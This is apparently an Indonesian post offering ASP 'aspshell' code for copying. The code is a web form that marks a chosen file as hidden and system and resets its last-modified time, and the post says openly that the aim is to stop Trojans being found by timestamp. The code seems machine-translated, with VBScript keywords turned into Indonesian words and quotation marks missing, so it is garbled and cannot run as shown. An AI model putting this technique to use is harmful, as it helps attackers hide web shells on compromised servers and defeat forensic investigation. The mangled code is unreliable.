Aspshell menyembunyikan dan mengubah waktu modifikasi terakhir suatu file. Oleh karena itu, ketika mencari Trojan di masa depan, Anda tidak bisa hanya menilai berdasarkan waktu. Copy kode kodenya sebagai berikut:
<%
'Sembunyikan dan ubah waktu modifikasi terakhir file aspshell
'Prinsip: Anda dapat mengubah atribut file melalui FSO, seperti mengaturnya menjadi hanya baca, tersembunyi, sistem, dll.; atribut atribut di FSO mengubah atribut file, 1 hanya baca, 2 disembunyikan, dan 4 adalah file sistem
'Anda dapat mengatur ulang waktu modifikasi terakhir untuk file melalui shell.application
'2009/02/24 ditulis oleh skyfire
respon.tulis <metode formulir=posting>
respon.tulis jalur: <input name=path value='&server.mappath(/)&' size='30'>(harus diakhiri dengan /)<br />
respon.tulis nama file: <input name=nama file value='test.txt' size='30'><br />
respon.tulis waktu modifikasi: <input name=time value='12/30/2099 12:30:30' size='30'><br />
respon.tulis <input type=kirim nilai=Ubah dan sembunyikan file>
respon.tulis </form>
'Dapatkan parameter yang dikirimkan
atur jalur=permintaan.Formulir(jalur)
setel Namafile=permintaan.Formulir(namafile)
atur NewTime=permintaan.Formulir(waktu)
jika( (len(jalur)>0)dan(len(Namafile)>0)dan(len(Waktu baru)>0) )maka
'Atur atribut file melalui fso
Setel fso=Server.CreateObject(Scripting.FileSystemObject)
Setel file=fso.getFile(jalur&Namafile)
file.attributes=2+4 'Setel atribut file ke sistem + tersembunyi
'Ubah waktu modifikasi terakhir file melalui shell.Application
Setel shell=Server.CreateObject(Shell.Application)
Setel app_path=shell.NameSpace(server.mappath(.))
Setel app_file=app_path.ParseName(namafile)
app_file.Modifydate=Waktu baru
berakhir jika
%>